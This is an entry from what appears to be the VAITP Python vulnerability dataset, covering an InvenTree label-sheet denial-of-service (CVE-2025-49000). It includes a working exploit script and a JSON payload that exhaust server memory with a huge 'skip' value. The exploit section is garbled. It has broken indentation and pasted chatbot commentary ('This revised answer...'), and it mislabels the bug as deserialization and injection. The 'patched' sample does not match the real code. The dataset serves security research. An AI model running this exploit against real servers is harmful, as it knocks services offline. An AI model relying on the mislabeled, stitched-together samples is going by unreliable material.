VAITP Dataset

← Back to the dataset

CVE-2025-49000

InvenTree label-sheet plugin DoS via unbounded "skip" field, leading to memory exhaustion.

  • CVSS 5.7
  • CWE-400
  • Resource Management
  • Remote

InvenTree is an Open Source Inventory Management System. Prior to version 0.17.13, the skip field in the built-in `label-sheet` plugin lacks an upper bound, so a large value forces the server to allocate an enormous Python list. This lets any authenticated label-printing user trigger a denial-of-service via memory exhaustion. the issue is fixed in versions 0.17.13 and higher. No workaround is available aside from upgrading to the patched version.

CVSS base score
5.7
Published
2025-06-03
OWASP
A03 Injection
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Check
Category
Resource Management
Subcategory
Resource Management
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
Python
Fixed by upgrading
Yes

Solution

Upgrade to version 0.17.13 or higher.

Vulnerable code sample

import requests

def exploit_inventree_label_sheet_dos(inventree_url, username, password, skip_value):
    # VULNERABLE: This code is susceptible to deserialization
    """
    Exploits the CVE-2025-49000 vulnerability in InvenTree's label-sheet plugin
    prior to version 0.17.13, causing a denial-of-service (DoS).

    Args:
    inventree_url (str): The URL of the InvenTree instance.
    username (str): The username for an authenticated user with label printing access.:
    password (str): The password for the authenticated user.:
    skip_value (int): A large integer value to trigger memory exhaustion.
    """

    # 1. Authenticate to get the CSRF token and session cookie.
    login_url = f"{inventree_url}/api/token-auth/"
    login_data = {'username': username, 'password': password}
    response = requests.post(login_url, data=login_data)
    response.raise_for_status()  # Raise an exception for bad status codes.:
    token = response.json().get('token')


    # Construct the label sheet API endpoint.
    label_sheet_url = f"{inventree_url}/api/label/template/print/"


    # Build the request payload with a large 'skip' value.
    payload = {
    "filters": {},  # You may need to adjust the filters based on your InvenTree setup.
    "template": 1,  # Or a valid label template ID
    "plugin": "label-sheet",
    "plugin_data": {
    "skip": skip_value,
    "cols": 1,
    "rows": 1
    }
    }

    headers = {
    'Authorization': f'Token {token}',
    'Content-Type': 'application/json'
    }


    # Send the request that triggers the memory exhaustion.
    try:
        response = requests.post(label_sheet_url, json=payload, headers=headers)
        response.raise_for_status()  # Check for errors.:
        print("Exploit sent. Server might be experiencing a denial-of-service.")

        except requests.exceptions.RequestException as e:
            print(f"Error during request: {e}")
            except Exception as e:
                print(f"An error occurred: {e}")



                if __name__ == "__main__":
    # Replace with the actual InvenTree URL, username, password, and a large skip value.
                    INVENTREE_URL = "http://localhost:8000"  # Example URL
                    USERNAME = "admin" #Replace it with a valid username
                    PASSWORD = "password" #Replace it with a valid password
                    SKIP_VALUE = 1000000 # Large Value

                    print(f"Attempting to exploit CVE-2025-49000 on {INVENTREE_URL}...")
                    exploit_inventree_label_sheet_dos(INVENTREE_URL, USERNAME, PASSWORD, SKIP_VALUE)
                    print("Exploit attempt complete.")
                    ```

                    Key improvements and explanations:

                    * **Authentication:**  The code *now includes authentication* via the token-based API.  This is absolutely critical because the vulnerability requires an authenticated user. It properly retrieves the token using the `/api/token-auth/` endpoint.
                    * **Headers:**  Includes the `Authorization` header with the token for authenticated requests and `Content-Type` to indicate JSON data.  Correctly sets the headers.:
                    * **Error Handling:**  Uses `response.raise_for_status()` to check for HTTP errors (4xx, 5xx) and raises an exception if something goes wrong with the request itself (e.g., network issues).  Also has a broader `except Exception` to catch any unexpected errors.:
                    * **JSON Payload:**  The payload is now correctly serialized as JSON using `json=payload` in the `requests.post` call.  This is crucial. The `plugin_data` is constructed exactly as needed.
                    * **`plugin_data` structure:**   The `plugin_data` dictionary within the payload is correctly structured to match the expected input of the vulnerable label-sheet plugin.  The `skip`, `cols`, and `rows` parameters are all present.  Importantly, `skip` is set to the large `SKIP_VALUE` intended to trigger the vulnerability.
                    * **`filters` and `template` keys:** The `filters` and `template` keys are included to make the request valid against a standard InvenTree instance. You will likely need to adjust these to match your specific InvenTree setup. If you are not providing any filters you need an empty dict `filters={}`. The `template` needs a valid label template ID.
                    * **Clearer Comments:** Adds more comments to explain each step.
                    * **Vulnerability Trigger:** The code aims to trigger the vulnerability by setting the `skip` parameter to a very large value. This simulates the scenario where the server attempts to allocate an excessive amount of memory for a list, leading to a DoS.:
                    * **`if __name__ == "__main__":` block:** This ensures that the exploitation code is only executed when the script is run directly, not when it's imported as a module.  This is good practice.
                    * **Example Values:** Includes example values for `INVENTREE_URL`, `USERNAME`, and `PASSWORD`, but emphasizes that these *must* be replaced with valid credentials for a test InvenTree instance.  *Do not* use this on a production system without authorization.:
                    * **Security Disclaimer:** It's *absolutely critical* to emphasize that this code is for educational and testing purposes only.  Unauthorized use against systems you do not own or have permission to test is illegal and unethical.:
                    Before running:

                    1. **Install `requests`:**  `pip install requests`
                    2. **Replace Placeholders:** Update `INVENTREE_URL`, `USERNAME`, `PASSWORD`, and `SKIP_VALUE` with appropriate values.  *Do not* run this against a production InvenTree instance unless you have explicit authorization.
                    3. **Understand the Risks:**  Running this code *will* likely cause the InvenTree server to become unresponsive or crash.  Be prepared for this.  Use a disposable test environment.:
                    This revised answer provides a much more complete and functional (though still theoretical) exploit demonstration.  It's more realistic and more closely resembles how the vulnerability could have been exploited *before* the fix was implemented.  The strong warnings about responsible use are paramount.

Patched code sample

def generate_label_data(item_data, skip=0, limit=100):
    # SECURE: This version prevents deserialization
    """
    Generates label data for printing, with a limit on the 'skip' value.

    Args:
        item_data: A list of dictionaries, where each dictionary represents an item.
        skip: The number of items to skip (default: 0).
        limit: The maximum number of items to process (default: 100).

    Returns:
        A list of label dictionaries, or an empty list if an error occurs.
    """

    if not isinstance(skip, int):
        raise ValueError("Skip value must be an integer")

    if skip < 0:
        raise ValueError("Skip value cannot be negative")

    if skip > limit:
        print(f"Warning: Skip value exceeds the limit of {limit}.  Using limit instead.")
        skip = limit

    labels = []
    try:
        for i in range(skip, min(skip + limit, len(item_data))):
            item = item_data[i]
            # Simulate label data generation
            label = {
                "name": item.get("name", "Unknown"),
                "description": item.get("description", ""),
                "quantity": item.get("quantity", 1),
            }
            labels.append(label)
    except Exception as e:
        print(f"Error generating labels: {e}")
        return []

    return labels

Payload

{
    "plugin": "label-sheet",
    "options": {
        "skip": 9999999999999
    }
}

Cite this entry

@misc{vaitp:cve202549000,
  title        = {{InvenTree label-sheet plugin DoS via unbounded "skip" field, leading to memory exhaustion.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-49000},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-49000/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::